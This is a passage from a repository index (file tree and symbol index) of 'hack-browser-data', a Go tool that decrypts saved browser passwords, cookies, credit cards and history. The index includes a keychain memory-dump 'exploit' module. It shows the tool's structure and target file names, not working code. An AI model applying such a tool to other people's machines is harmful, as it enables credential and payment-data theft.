FirefoxKey4
FirefoxPassword
FirefoxCookie
FirefoxBookmark
FirefoxHistory
FirefoxDownload
FirefoxCreditCard
FirefoxLocalStorage
FirefoxSessionStorage
FirefoxExtension
)
var itemFileNames = map[DataType]string{
ChromiumKey: fileChromiumKey,
ChromiumPassword:
gitextract_fqj4wsxy/
├── .github/
│ ├── ISSUE_TEMPLATE/
│ │ ├── bug_report.md
│ │ └── feature_request.md
│ ├── PULL_REQUEST_TEMPLATE.md
│ ├── dependabot.yml
│ ├── release-drafter.yml
│ └── workflows/
│ ├── build.yml
│ ├── contributors.yml
│ ├── lint.yml
│ ├── release.yml
│ └── test.yml
├── .gitignore
├── .golangci.yml
├── .goreleaser.yml
├── .typos.toml
├── CLAUDE.md
├── CODE_OF_CONDUCT.md
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── browser/
│ ├── browser.go
│ ├── browser_darwin.go
│ ├── browser_linux.go
│ ├── browser_windows.go
│ ├── chromium/
│ │ ├── chromium.go
│ │ ├── chromium_darwin.go
│ │ ├── chromium_linux.go
│ │ └── chromium_windows.go
│ ├── consts.go
│ ├── exploit/
│ │ └── gcoredump/
│ │ └── gcoredump.go
│ └── firefox/
│ ├── firefox.go
│ └── firefox_test.go
├── browserdata/
│ ├── bookmark/
│ │ └── bookmark.go
│ ├── browserdata.go
│ ├── cookie/
│ │ └── cookie.go
│ ├── creditcard/
│ │ └── creditcard.go
│ ├── download/
│ │ └── download.go
│ ├── extension/
│ │ └── extension.go
│ ├── history/
│ │ └── history.go
│ ├── imports.go
│ ├── localstorage/
│ │ ├── localstorage.go
│ │ └── localstorage_test.go
│ ├── outputter.go
│ ├── outputter_test.go
│ ├── password/
│ │ └── password.go
│ └── sessionstorage/
│ └── sessionstorage.go
├── cmd/
│ └── hack-browser-data/
│ └── main.go
├── crypto/
│ ├── asn1pbe.go
│ ├── asn1pbe_test.go
│ ├── crypto.go
│ ├── crypto_darwin.go
│ ├── crypto_linux.go
│ ├── crypto_test.go
│ ├── crypto_windows.go
│ └── pbkdf2.go
├── extractor/
│ ├── extractor.go
│ └── registration.go
├── go.mod
├── go.sum
├── log/
│ ├── level/
│ │ └── level.go
│ ├── log.go
│ ├── logger.go
│ └── logger_test.go
├── rfc/
│ └── 001-architecture-refactoring.md
├── types/
│ ├── types.go
│ └── types_test.go
└── utils/
├── byteutil/
│ └── byteutil.go
├── chainbreaker/
│ ├── chainbreaker.go
│ ├── chainbreaker_test.go
│ └── testdata/
│ └── test.keychain-db
├── fileutil/
│ ├── filetutil.go
│ └── fileutil_test.go
└── typeutil/
├── typeutil.go
└── typeutil_test.go
SYMBOL INDEX (467 symbols across 47 files)
FILE: browser/browser.go
type Browser (line 16) | type Browser interface
function PickBrowsers (line 24) | func PickBrowsers(name, profile string) ([]Browser, error) {
function pickChromium (line 41) | func pickChromium(name, profile string) []Browser {
function pickFirefox (line 80) | func pickFirefox(name, profile string) []Browser {
function ListBrowsers (line 112) | func ListBrowsers() []string {
function Names (line 120) | func Names() string {
FILE: browser/browser_darwin.go
constant chromeStorageName (line 114) | chromeStorageName = "Chrome"
constant chromeBetaStorageName (line 115) | chromeBetaStorageName = "Chrome"
constant chromiumStorageName (line 116) | chromiumStorageName = "Chromium"
constant edgeStorageName (line 117) | edgeStorageName = "Microsoft Edge"
constant braveStorageName (line 118) | braveStorageName = "Brave"
constant operaStorageName (line 119) | operaStorageName = "Opera"
constant vivaldiStorageName (line 120) | vivaldiStorageName = "Vivaldi"
constant coccocStorageName (line 121) | coccocStorageName = "CocCoc"
constant yandexStorageName (line 122) | yandexStorageName = "Yandex"
constant arcStorageName (line 123) | arcStorageName = "Arc"
FILE: browser/browser_linux.go
constant chromeStorageName (line 85) | chromeStorageName = "Chrome Safe Storage"
constant chromiumStorageName (line 86) | chromiumStorageName = "Chromium Safe Storage"
constant edgeStorageName (line 87) | edgeStorageName = "Chromium Safe Storage"
constant braveStorageName (line 88) | braveStorageName = "Brave Safe Storage"
constant chromeBetaStorageName (line 89) | chromeBetaStorageName = "Chrome Safe Storage"
constant operaStorageName (line 90) | operaStorageName = "Chromium Safe Storage"
constant vivaldiStorageName (line 91) | vivaldiStorageName = "Chrome Safe Storage"
FILE: browser/chromium/chromium.go
type Chromium (line 16) | type Chromium struct
method Name (line 49) | func (c *Chromium) Name() string {
method BrowsingData (line 53) | func (c *Chromium) BrowsingData(isFullExport bool) (*browserdata.Brows...
method copyItemToLocal (line 85) | func (c *Chromium) copyItemToLocal() error {
method userDataTypePaths (line 109) | func (c *Chromium) userDataTypePaths(profilePath string, items []types...
function New (line 26) | func New(name, storage, profilePath string, dataTypes []types.DataType) ...
function chromiumWalkFunc (line 140) | func chromiumWalkFunc(items []types.DataType, multiItemPaths map[string]...
function fillLocalStoragePath (line 176) | func fillLocalStoragePath(itemPaths map[types.DataType]string, storage t...
FILE: browser/chromium/chromium_darwin.go
method GetMasterKey (line 25) | func (c *Chromium) GetMasterKey() ([]byte, error) {
method parseSecret (line 62) | func (c *Chromium) parseSecret(secret []byte) ([]byte, error) {
FILE: browser/chromium/chromium_linux.go
method GetMasterKey (line 18) | func (c *Chromium) GetMasterKey() ([]byte, error) {
FILE: browser/chromium/chromium_windows.go
method GetMasterKey (line 20) | func (c *Chromium) GetMasterKey() ([]byte, error) {
FILE: browser/consts.go
constant chromeName (line 11) | chromeName = "Chrome"
constant chromeBetaName (line 12) | chromeBetaName = "Chrome Beta"
constant chromiumName (line 13) | chromiumName = "Chromium"
constant edgeName (line 14) | edgeName = "Microsoft Edge"
constant braveName (line 15) | braveName = "Brave"
constant operaName (line 16) | operaName = "Opera"
constant operaGXName (line 17) | operaGXName = "OperaGX"
constant vivaldiName (line 18) | vivaldiName = "Vivaldi"
constant coccocName (line 19) | coccocName = "CocCoc"
constant yandexName (line 20) | yandexName = "Yandex"
constant firefoxName (line 21) | firefoxName = "Firefox"
constant speed360Name (line 22) | speed360Name = "360speed"
constant qqBrowserName (line 23) | qqBrowserName = "QQ"
constant dcBrowserName (line 24) | dcBrowserName = "DC"
constant sogouName (line 25) | sogouName = "Sogou"
constant arcName (line 26) | arcName = "Arc"
FILE: browser/exploit/gcoredump/gcoredump.go
function GetMacOSVersion (line 33) | func GetMacOSVersion() string {
function FindProcessByName (line 41) | func FindProcessByName(name string, forceRoot bool) (int, error) {
type addressRange (line 69) | type addressRange struct
function DecryptKeychain (line 74) | func DecryptKeychain(storagename string) (string, error) {
function findMallocSmallRegions (line 169) | func findMallocSmallRegions(pid int) ([]addressRange, error) {
function getMallocSmallRegionData (line 204) | func getMallocSmallRegionData(f *macho.File, region addressRange) ([]byt...
function byteSliceToString (line 220) | func byteSliceToString(s []byte) string {
FILE: browser/firefox/firefox.go
type Firefox (line 24) | type Firefox struct
method copyItemToLocal (line 53) | func (f *Firefox) copyItemToLocal() error {
method GetMasterKey (line 88) | func (f *Firefox) GetMasterKey() ([]byte, error) {
method Name (line 286) | func (f *Firefox) Name() string {
method BrowsingData (line 290) | func (f *Firefox) BrowsingData(isFullExport bool) (*browserdata.Browse...
function New (line 36) | func New(profilePath string, items []types.DataType) ([]*Firefox, error) {
function firefoxWalkFunc (line 63) | func firefoxWalkFunc(items []types.DataType, multiItemPaths map[string]m...
function queryMetaData (line 141) | func queryMetaData(db *sql.DB) ([]byte, []byte, error) {
type nssPrivateCandidate (line 150) | type nssPrivateCandidate struct
function queryNssPrivateCandidates (line 155) | func queryNssPrivateCandidates(db *sql.DB) ([]nssPrivateCandidate, error) {
function queryNssPrivate (line 180) | func queryNssPrivate(db *sql.DB) ([]byte, []byte, error) {
type loginCipherPair (line 189) | type loginCipherPair struct
function getFirefoxLoginCipherPairs (line 194) | func getFirefoxLoginCipherPairs() ([]loginCipherPair, error) {
function canDecryptAnyLoginCipherPair (line 223) | func canDecryptAnyLoginCipherPair(masterKey []byte, pairs []loginCipherP...
function processMasterKey (line 246) | func processMasterKey(metaItem1, metaItem2, nssA11, nssA102 []byte) ([]b...
FILE: browser/firefox/firefox_test.go
function TestQueryMetaData (line 10) | func TestQueryMetaData(t *testing.T) {
function TestQueryNssPrivate (line 25) | func TestQueryNssPrivate(t *testing.T) {
FILE: browserdata/bookmark/bookmark.go
function init (line 19) | func init() {
type ChromiumBookmark (line 28) | type ChromiumBookmark
method Extract (line 38) | func (c *ChromiumBookmark) Extract(_ []byte) error {
method Name (line 90) | func (c *ChromiumBookmark) Name() string {
method Len (line 94) | func (c *ChromiumBookmark) Len() int {
type bookmark (line 30) | type bookmark struct
constant bookmarkID (line 60) | bookmarkID = "id"
constant bookmarkAdded (line 61) | bookmarkAdded = "date_added"
constant bookmarkURL (line 62) | bookmarkURL = "url"
constant bookmarkName (line 63) | bookmarkName = "name"
constant bookmarkType (line 64) | bookmarkType = "type"
constant bookmarkChildren (line 65) | bookmarkChildren = "children"
function getBookmarkChildren (line 68) | func getBookmarkChildren(value gjson.Result, w *ChromiumBookmark) (child...
type FirefoxBookmark (line 98) | type FirefoxBookmark
method Extract (line 105) | func (f *FirefoxBookmark) Extract(_ []byte) error {
method Name (line 144) | func (f *FirefoxBookmark) Name() string {
method Len (line 148) | func (f *FirefoxBookmark) Len() int {
constant queryFirefoxBookMark (line 101) | queryFirefoxBookMark = `SELECT id, url, type, dateAdded, title FROM (SEL...
constant closeJournalMode (line 102) | closeJournalMode = `PRAGMA journal_mode=off`
function linkType (line 152) | func linkType(a int64) string {
FILE: browserdata/browserdata.go
type BrowserData (line 10) | type BrowserData struct
method Recovery (line 22) | func (d *BrowserData) Recovery(masterKey []byte) error {
method Output (line 32) | func (d *BrowserData) Output(dir, browserName, flag string) {
method addExtractors (line 59) | func (d *BrowserData) addExtractors(items []types.DataType) {
function New (line 14) | func New(items []types.DataType) *BrowserData {
FILE: browserdata/cookie/cookie.go
function init (line 19) | func init() {
type ChromiumCookie (line 28) | type ChromiumCookie
method Extract (line 48) | func (c *ChromiumCookie) Extract(masterKey []byte) error {
method Name (line 105) | func (c *ChromiumCookie) Name() string {
method Len (line 109) | func (c *ChromiumCookie) Len() int {
type cookie (line 30) | type cookie struct
constant queryChromiumCookie (line 45) | queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, cre...
type FirefoxCookie (line 113) | type FirefoxCookie
method Extract (line 119) | func (f *FirefoxCookie) Extract(_ []byte) error {
method Name (line 159) | func (f *FirefoxCookie) Name() string {
method Len (line 163) | func (f *FirefoxCookie) Len() int {
constant queryFirefoxCookie (line 116) | queryFirefoxCookie = `SELECT name, value, host, path, creationTime, expi...
FILE: browserdata/creditcard/creditcard.go
function init (line 16) | func init() {
type ChromiumCreditCard (line 25) | type ChromiumCreditCard
method Extract (line 41) | func (c *ChromiumCreditCard) Extract(masterKey []byte) error {
method Name (line 87) | func (c *ChromiumCreditCard) Name() string {
method Len (line 91) | func (c *ChromiumCreditCard) Len() int {
type card (line 27) | type card struct
constant queryChromiumCredit (line 38) | queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expi...
type YandexCreditCard (line 95) | type YandexCreditCard
method Extract (line 97) | func (c *YandexCreditCard) Extract(masterKey []byte) error {
method Name (line 141) | func (c *YandexCreditCard) Name() string {
method Len (line 145) | func (c *YandexCreditCard) Len() int {
FILE: browserdata/download/download.go
function init (line 19) | func init() {
type ChromiumDownload (line 28) | type ChromiumDownload
method Extract (line 43) | func (c *ChromiumDownload) Extract(_ []byte) error {
method Name (line 79) | func (c *ChromiumDownload) Name() string {
method Len (line 83) | func (c *ChromiumDownload) Len() int {
type download (line 30) | type download struct
constant queryChromiumDownload (line 40) | queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start...
type FirefoxDownload (line 87) | type FirefoxDownload
method Extract (line 94) | func (f *FirefoxDownload) Extract(_ []byte) error {
method Name (line 140) | func (f *FirefoxDownload) Name() string {
method Len (line 144) | func (f *FirefoxDownload) Len() int {
constant queryFirefoxDownload (line 90) | queryFirefoxDownload = `SELECT place_id, GROUP_CONCAT(content), url, dat...
constant closeJournalMode (line 91) | closeJournalMode = `PRAGMA journal_mode=off`
FILE: browserdata/extension/extension.go
function init (line 16) | func init() {
type ChromiumExtension (line 25) | type ChromiumExtension
method Extract (line 37) | func (c *ChromiumExtension) Extract(_ []byte) error {
method Name (line 114) | func (c *ChromiumExtension) Name() string {
method Len (line 118) | func (c *ChromiumExtension) Len() int {
type extension (line 27) | type extension struct
function parseChromiumExtensions (line 52) | func parseChromiumExtensions(content string) ([]*extension, error) {
function getChromiumExtURL (line 105) | func getChromiumExtURL(id, updateURL string) string {
type FirefoxExtension (line 122) | type FirefoxExtension
method Extract (line 126) | func (f *FirefoxExtension) Extract(_ []byte) error {
method Name (line 181) | func (f *FirefoxExtension) Name() string {
method Len (line 185) | func (f *FirefoxExtension) Len() int {
function findFirefoxLocale (line 164) | func findFirefoxLocale(locales []gjson.Result, targetLang language.Tag) ...
FILE: browserdata/history/history.go
function init (line 18) | func init() {
type ChromiumHistory (line 27) | type ChromiumHistory
method Extract (line 40) | func (c *ChromiumHistory) Extract(_ []byte) error {
method Name (line 76) | func (c *ChromiumHistory) Name() string {
method Len (line 80) | func (c *ChromiumHistory) Len() int {
type history (line 29) | type history struct
constant queryChromiumHistory (line 37) | queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time ...
type FirefoxHistory (line 84) | type FirefoxHistory
method Extract (line 91) | func (f *FirefoxHistory) Extract(_ []byte) error {
method Name (line 131) | func (f *FirefoxHistory) Name() string {
method Len (line 135) | func (f *FirefoxHistory) Len() int {
constant queryFirefoxHistory (line 87) | queryFirefoxHistory = `SELECT id, url, COALESCE(last_visit_date, 0), COA...
constant closeJournalMode (line 88) | closeJournalMode = `PRAGMA journal_mode=off`
FILE: browserdata/localstorage/localstorage.go
function init (line 21) | func init() {
type ChromiumLocalStorage (line 30) | type ChromiumLocalStorage
method Extract (line 41) | func (c *ChromiumLocalStorage) Extract(_ []byte) error {
method Name (line 71) | func (c *ChromiumLocalStorage) Name() string {
method Len (line 75) | func (c *ChromiumLocalStorage) Len() int {
type storage (line 32) | type storage struct
method fillKey (line 79) | func (s *storage) fillKey(b []byte) {
method fillMetaHeader (line 90) | func (s *storage) fillMetaHeader(b []byte) {
method fillHeader (line 94) | func (s *storage) fillHeader(url, key []byte) {
method fillValue (line 106) | func (s *storage) fillValue(b []byte) {
method fillFirefox (line 147) | func (s *storage) fillFirefox(originKey, key, value string) {
constant maxLocalStorageValueLength (line 39) | maxLocalStorageValueLength = 1024 * 2
function convertUTF16toUTF8 (line 99) | func convertUTF16toUTF8(source []byte, endian unicode.Endianness) ([]byt...
type FirefoxLocalStorage (line 111) | type FirefoxLocalStorage
method Extract (line 118) | func (f *FirefoxLocalStorage) Extract(_ []byte) error {
method Name (line 161) | func (f *FirefoxLocalStorage) Name() string {
method Len (line 165) | func (f *FirefoxLocalStorage) Len() int {
constant queryLocalStorage (line 114) | queryLocalStorage = `SELECT originKey, key, value FROM webappsstore2`
constant closeJournalMode (line 115) | closeJournalMode = `PRAGMA journal_mode=off`
FILE: browserdata/localstorage/localstorage_test.go
function TestLocalStorageKeyToUTF8 (line 22) | func TestLocalStorageKeyToUTF8(t *testing.T) {
FILE: browserdata/outputter.go
type outPutter (line 18) | type outPutter struct
method Write (line 33) | func (o *outPutter) Write(data extractor.Extractor, writer io.Writer) ...
method CreateFile (line 50) | func (o *outPutter) CreateFile(dir, filename string) (*os.File, error) {
method Ext (line 74) | func (o *outPutter) Ext() string {
function newOutPutter (line 23) | func newOutPutter(flag string) *outPutter {
FILE: browserdata/outputter_test.go
function TestNewOutPutter (line 8) | func TestNewOutPutter(t *testing.T) {
FILE: browserdata/password/password.go
function init (line 20) | func init() {
type ChromiumPassword (line 32) | type ChromiumPassword
method Extract (line 47) | func (c *ChromiumPassword) Extract(masterKey []byte) error {
method Name (line 101) | func (c *ChromiumPassword) Name() string {
method Len (line 105) | func (c *ChromiumPassword) Len() int {
type loginData (line 34) | type loginData struct
constant queryChromiumLogin (line 44) | queryChromiumLogin = `SELECT origin_url, username_value, password_value,...
type YandexPassword (line 109) | type YandexPassword
method Extract (line 115) | func (c *YandexPassword) Extract(masterKey []byte) error {
method Name (line 169) | func (c *YandexPassword) Name() string {
method Len (line 173) | func (c *YandexPassword) Len() int {
constant queryYandexLogin (line 112) | queryYandexLogin = `SELECT action_url, username_value, password_value, d...
type FirefoxPassword (line 177) | type FirefoxPassword
method Extract (line 179) | func (f *FirefoxPassword) Extract(globalSalt []byte) error {
method Name (line 253) | func (f *FirefoxPassword) Name() string {
method Len (line 257) | func (f *FirefoxPassword) Len() int {
function getFirefoxLoginData (line 216) | func getFirefoxLoginData() ([]loginData, error) {
FILE: browserdata/sessionstorage/sessionstorage.go
function init (line 21) | func init() {
type ChromiumSessionStorage (line 30) | type ChromiumSessionStorage
method Extract (line 41) | func (c *ChromiumSessionStorage) Extract(_ []byte) error {
method Name (line 71) | func (c *ChromiumSessionStorage) Name() string {
method Len (line 75) | func (c *ChromiumSessionStorage) Len() int {
type session (line 32) | type session struct
method fillKey (line 79) | func (s *session) fillKey(b []byte) {
method fillMetaHeader (line 98) | func (s *session) fillMetaHeader(b []byte) {
method fillHeader (line 102) | func (s *session) fillHeader(url, key []byte) {
method fillValue (line 114) | func (s *session) fillValue(b []byte) {
method fillFirefox (line 155) | func (s *session) fillFirefox(originKey, key, value string) {
constant maxLocalStorageValueLength (line 39) | maxLocalStorageValueLength = 1024 * 2
function convertUTF16toUTF8 (line 107) | func convertUTF16toUTF8(source []byte, endian unicode.Endianness) ([]byt...
type FirefoxSessionStorage (line 119) | type FirefoxSessionStorage
method Extract (line 126) | func (f *FirefoxSessionStorage) Extract(_ []byte) error {
method Name (line 169) | func (f *FirefoxSessionStorage) Name() string {
method Len (line 173) | func (f *FirefoxSessionStorage) Len() int {
constant querySessionStorage (line 122) | querySessionStorage = `SELECT originKey, key, value FROM webappsstore2`
constant closeJournalMode (line 123) | closeJournalMode = `PRAGMA journal_mode=off`
FILE: cmd/hack-browser-data/main.go
function main (line 23) | func main() {
function Execute (line 27) | func Execute() {
FILE: crypto/asn1pbe.go
type ASN1PBE (line 11) | type ASN1PBE interface
function NewASN1PBE (line 17) | func NewASN1PBE(b []byte) (pbe ASN1PBE, err error) {
type nssPBE (line 45) | type nssPBE struct
method Decrypt (line 57) | func (n nssPBE) Decrypt(globalSalt []byte) ([]byte, error) {
method Encrypt (line 63) | func (n nssPBE) Encrypt(globalSalt, plaintext []byte) ([]byte, error) {
method deriveKeyAndIV (line 71) | func (n nssPBE) deriveKeyAndIV(globalSalt []byte) ([]byte, []byte) {
type metaPBE (line 110) | type metaPBE struct
method Decrypt (line 140) | func (m metaPBE) Decrypt(globalSalt []byte) ([]byte, error) {
method Encrypt (line 146) | func (m metaPBE) Encrypt(globalSalt, plaintext []byte) ([]byte, error) {
method deriveKeyAndIV (line 152) | func (m metaPBE) deriveKeyAndIV(globalSalt []byte) ([]byte, []byte) {
type algoAttr (line 115) | type algoAttr struct
type ivAttr (line 126) | type ivAttr struct
type slatAttr (line 131) | type slatAttr struct
type loginPBE (line 171) | type loginPBE struct
method Decrypt (line 180) | func (l loginPBE) Decrypt(globalSalt []byte) ([]byte, error) {
method Encrypt (line 197) | func (l loginPBE) Encrypt(globalSalt, plaintext []byte) ([]byte, error) {
method deriveKeyAndIV (line 215) | func (l loginPBE) deriveKeyAndIV(globalSalt []byte) ([]byte, []byte) {
FILE: crypto/asn1pbe_test.go
function TestNewASN1PBE (line 74) | func TestNewASN1PBE(t *testing.T) {
function TestNssPBE_Encrypt (line 89) | func TestNssPBE_Encrypt(t *testing.T) {
function TestNssPBE_Decrypt (line 117) | func TestNssPBE_Decrypt(t *testing.T) {
function TestNewASN1PBE_MetaPBE (line 145) | func TestNewASN1PBE_MetaPBE(t *testing.T) {
function TestMetaPBE_Encrypt (line 159) | func TestMetaPBE_Encrypt(t *testing.T) {
function TestMetaPBE_Decrypt (line 202) | func TestMetaPBE_Decrypt(t *testing.T) {
function TestNewASN1PBE_LoginPBE (line 245) | func TestNewASN1PBE_LoginPBE(t *testing.T) {
function TestLoginPBE_Encrypt (line 259) | func TestLoginPBE_Encrypt(t *testing.T) {
function TestLoginPBE_Decrypt (line 279) | func TestLoginPBE_Decrypt(t *testing.T) {
FILE: crypto/crypto.go
function AES128CBCDecrypt (line 19) | func AES128CBCDecrypt(key, iv, ciphertext []byte) ([]byte, error) {
function AES128CBCEncrypt (line 45) | func AES128CBCEncrypt(key, iv, plaintext []byte) ([]byte, error) {
function DES3Decrypt (line 63) | func DES3Decrypt(key, iv, ciphertext []byte) ([]byte, error) {
function DES3Encrypt (line 82) | func DES3Encrypt(key, iv, plaintext []byte) ([]byte, error) {
function AESGCMDecrypt (line 97) | func AESGCMDecrypt(key, nounce, ciphertext []byte) ([]byte, error) {
function AESGCMEncrypt (line 114) | func AESGCMEncrypt(key, nonce, plaintext []byte) ([]byte, error) {
function paddingZero (line 129) | func paddingZero(src []byte, length int) []byte {
function pkcs5UnPadding (line 137) | func pkcs5UnPadding(src []byte) ([]byte, error) {
function pkcs5Padding (line 157) | func pkcs5Padding(src []byte, blocksize int) []byte {
FILE: crypto/crypto_darwin.go
function DecryptWithChromium (line 9) | func DecryptWithChromium(key, password []byte) ([]byte, error) {
function DecryptWithDPAPI (line 17) | func DecryptWithDPAPI(_ []byte) ([]byte, error) {
FILE: crypto/crypto_linux.go
function DecryptWithChromium (line 5) | func DecryptWithChromium(key, encryptPass []byte) ([]byte, error) {
function DecryptWithDPAPI (line 13) | func DecryptWithDPAPI(_ []byte) ([]byte, error) {
FILE: crypto/crypto_test.go
constant baseKey (line 13) | baseKey = "moond4rk"
function TestAES128CBCEncrypt (line 29) | func TestAES128CBCEncrypt(t *testing.T) {
function TestAES128CBCDecrypt (line 36) | func TestAES128CBCDecrypt(t *testing.T) {
function TestDES3Encrypt (line 44) | func TestDES3Encrypt(t *testing.T) {
function TestDES3Decrypt (line 51) | func TestDES3Decrypt(t *testing.T) {
function TestAESGCMEncrypt (line 59) | func TestAESGCMEncrypt(t *testing.T) {
function TestAESGCMDecrypt (line 66) | func TestAESGCMDecrypt(t *testing.T) {
FILE: crypto/crypto_windows.go
constant minEncryptedDataSize (line 13) | minEncryptedDataSize = 15
constant nonceSize (line 14) | nonceSize = 12
function DecryptWithChromium (line 17) | func DecryptWithChromium(key, ciphertext []byte) ([]byte, error) {
function DecryptWithYandex (line 29) | func DecryptWithYandex(key, ciphertext []byte) ([]byte, error) {
type dataBlob (line 43) | type dataBlob struct
method bytes (line 58) | func (b *dataBlob) bytes() []byte {
function newBlob (line 48) | func newBlob(d []byte) *dataBlob {
function DecryptWithDPAPI (line 68) | func DecryptWithDPAPI(ciphertext []byte) ([]byte, error) {
FILE: crypto/pbkdf2.go
function PBKDF2Key (line 25) | func PBKDF2Key(password, salt []byte, iter, keyLen int, h func() hash.Ha...
FILE: extractor/extractor.go
type Extractor (line 4) | type Extractor interface
FILE: extractor/registration.go
function RegisterExtractor (line 10) | func RegisterExtractor(dataType types.DataType, factoryFunc func() Extra...
function CreateExtractor (line 15) | func CreateExtractor(dataType types.DataType) Extractor {
FILE: log/level/level.go
type Level (line 4) | type Level
method String (line 24) | func (l Level) String() string {
constant DebugLevel (line 9) | DebugLevel Level = iota + 1
constant WarnLevel (line 13) | WarnLevel
constant ErrorLevel (line 17) | ErrorLevel
constant FatalLevel (line 21) | FatalLevel
FILE: log/log.go
function SetVerbose (line 12) | func SetVerbose() {
function Debug (line 16) | func Debug(args ...any) {
function Debugf (line 20) | func Debugf(format string, args ...any) {
function Warn (line 24) | func Warn(args ...any) {
function Warnf (line 28) | func Warnf(format string, args ...any) {
function Error (line 32) | func Error(args ...any) {
function Errorf (line 36) | func Errorf(format string, args ...any) {
function Fatal (line 40) | func Fatal(args ...any) {
function Fatalf (line 44) | func Fatalf(format string, args ...any) {
FILE: log/logger.go
function NewLogger (line 17) | func NewLogger(base Base) *Logger {
type Logger (line 25) | type Logger struct
method canLogAt (line 34) | func (l *Logger) canLogAt(v level.Level) bool {
method SetLevel (line 40) | func (l *Logger) SetLevel(v level.Level) {
method Debug (line 47) | func (l *Logger) Debug(args ...any) {
method Warn (line 54) | func (l *Logger) Warn(args ...any) {
method Error (line 61) | func (l *Logger) Error(args ...any) {
method Fatal (line 68) | func (l *Logger) Fatal(args ...any) {
method Debugf (line 75) | func (l *Logger) Debugf(format string, args ...any) {
method Warnf (line 82) | func (l *Logger) Warnf(format string, args ...any) {
method Errorf (line 89) | func (l *Logger) Errorf(format string, args ...any) {
method Fatalf (line 96) | func (l *Logger) Fatalf(format string, args ...any) {
type Base (line 103) | type Base interface
type baseLogger (line 112) | type baseLogger struct
method calculateCallDepth (line 127) | func (l *baseLogger) calculateCallDepth() int {
method prefixPrint (line 131) | func (l *baseLogger) prefixPrint(prefix string, args ...any) {
method getCallDepth (line 138) | func (l *baseLogger) getCallDepth() int {
method isLoggerPackage (line 155) | func (l *baseLogger) isLoggerPackage(funcName string) bool {
method Debug (line 161) | func (l *baseLogger) Debug(args ...any) {
method Warn (line 166) | func (l *baseLogger) Warn(args ...any) {
method Error (line 171) | func (l *baseLogger) Error(args ...any) {
method Fatal (line 179) | func (l *baseLogger) Fatal(args ...any) {
function newBase (line 117) | func newBase(out io.Writer) *baseLogger {
FILE: log/logger_test.go
constant pattern (line 14) | pattern = `^\[hack\-browser\-data] \w+\.go:\d+:`
type baseTestCase (line 17) | type baseTestCase struct
function TestLoggerDebug (line 40) | func TestLoggerDebug(t *testing.T) {
function TestLoggerWarn (line 57) | func TestLoggerWarn(t *testing.T) {
function TestLoggerError (line 73) | func TestLoggerError(t *testing.T) {
function TestLoggerFatal (line 89) | func TestLoggerFatal(t *testing.T) {
type formatTestCase (line 116) | type formatTestCase struct
function TestLoggerDebugf (line 144) | func TestLoggerDebugf(t *testing.T) {
function TestLoggerWarnf (line 161) | func TestLoggerWarnf(t *testing.T) {
function TestLoggerErrorf (line 177) | func TestLoggerErrorf(t *testing.T) {
function TestLoggerFatalf (line 193) | func TestLoggerFatalf(t *testing.T) {
function TestLoggerWithLowerLevels (line 219) | func TestLoggerWithLowerLevels(t *testing.T) {
FILE: types/types.go
type DataType (line 9) | type DataType
method String (line 63) | func (i DataType) String() string {
method Filename (line 116) | func (i DataType) Filename() string {
method TempFilename (line 125) | func (i DataType) TempFilename() string {
method IsSensitive (line 133) | func (i DataType) IsSensitive() bool {
constant ChromiumKey (line 12) | ChromiumKey DataType = iota
constant ChromiumPassword (line 13) | ChromiumPassword
constant ChromiumCookie (line 14) | ChromiumCookie
constant ChromiumBookmark (line 15) | ChromiumBookmark
constant ChromiumHistory (line 16) | ChromiumHistory
constant ChromiumDownload (line 17) | ChromiumDownload
constant ChromiumCreditCard (line 18) | ChromiumCreditCard
constant ChromiumLocalStorage (line 19) | ChromiumLocalStorage
constant ChromiumSessionStorage (line 20) | ChromiumSessionStorage
constant ChromiumExtension (line 21) | ChromiumExtension
constant YandexPassword (line 23) | YandexPassword
constant YandexCreditCard (line 24) | YandexCreditCard
constant FirefoxKey4 (line 26) | FirefoxKey4
constant FirefoxPassword (line 27) | FirefoxPassword
constant FirefoxCookie (line 28) | FirefoxCookie
constant FirefoxBookmark (line 29) | FirefoxBookmark
constant FirefoxHistory (line 30) | FirefoxHistory
constant FirefoxDownload (line 31) | FirefoxDownload
constant FirefoxCreditCard (line 32) | FirefoxCreditCard
constant FirefoxLocalStorage (line 33) | FirefoxLocalStorage
constant FirefoxSessionStorage (line 34) | FirefoxSessionStorage
constant FirefoxExtension (line 35) | FirefoxExtension
function FilterSensitiveItems (line 145) | func FilterSensitiveItems(items []DataType) []DataType {
constant fileChromiumKey (line 199) | fileChromiumKey = "Local State"
constant fileChromiumCredit (line 200) | fileChromiumCredit = "Web Data"
constant fileChromiumPassword (line 201) | fileChromiumPassword = "Login Data"
constant fileChromiumHistory (line 202) | fileChromiumHistory = "History"
constant fileChromiumDownload (line 203) | fileChromiumDownload = "History"
constant fileChromiumCookie (line 204) | fileChromiumCookie = "Cookies"
constant fileChromiumBookmark (line 205) | fileChromiumBookmark = "Bookmarks"
constant fileChromiumLocalStorage (line 206) | fileChromiumLocalStorage = "Local Storage/leveldb"
constant fileChromiumSessionStorage (line 207) | fileChromiumSessionStorage = "Session Storage"
constant fileChromiumExtension (line 208) | fileChromiumExtension = "Secure Preferences"
constant fileYandexPassword (line 210) | fileYandexPassword = "Ya Passman Data"
constant fileYandexCredit (line 211) | fileYandexCredit = "Ya Credit Cards"
constant fileFirefoxKey4 (line 213) | fileFirefoxKey4 = "key4.db"
constant fileFirefoxCookie (line 214) | fileFirefoxCookie = "cookies.sqlite"
constant fileFirefoxPassword (line 215) | fileFirefoxPassword = "logins.json"
constant fileFirefoxData (line 216) | fileFirefoxData = "places.sqlite"
constant fileFirefoxLocalStorage (line 217) | fileFirefoxLocalStorage = "webappsstore.sqlite"
constant fileFirefoxExtension (line 218) | fileFirefoxExtension = "extensions.json"
constant UnsupportedItem (line 220) | UnsupportedItem = "unsupported item"
FILE: types/types_test.go
function TestDataType_FileName (line 12) | func TestDataType_FileName(t *testing.T) {
function TestDataType_TempFilename (line 24) | func TestDataType_TempFilename(t *testing.T) {
function TestDataType_IsSensitive (line 48) | func TestDataType_IsSensitive(t *testing.T) {
function TestFilterSensitiveItems (line 63) | func TestFilterSensitiveItems(t *testing.T) {
method filename (line 82) | func (i DataType) filename() string {
FILE: utils/chainbreaker/chainbreaker.go
constant atomSize (line 21) | atomSize = 4
constant headerSize (line 22) | headerSize = 20
constant schemaSize (line 23) | schemaSize = 8
constant tableHeaderSize (line 24) | tableHeaderSize = 28
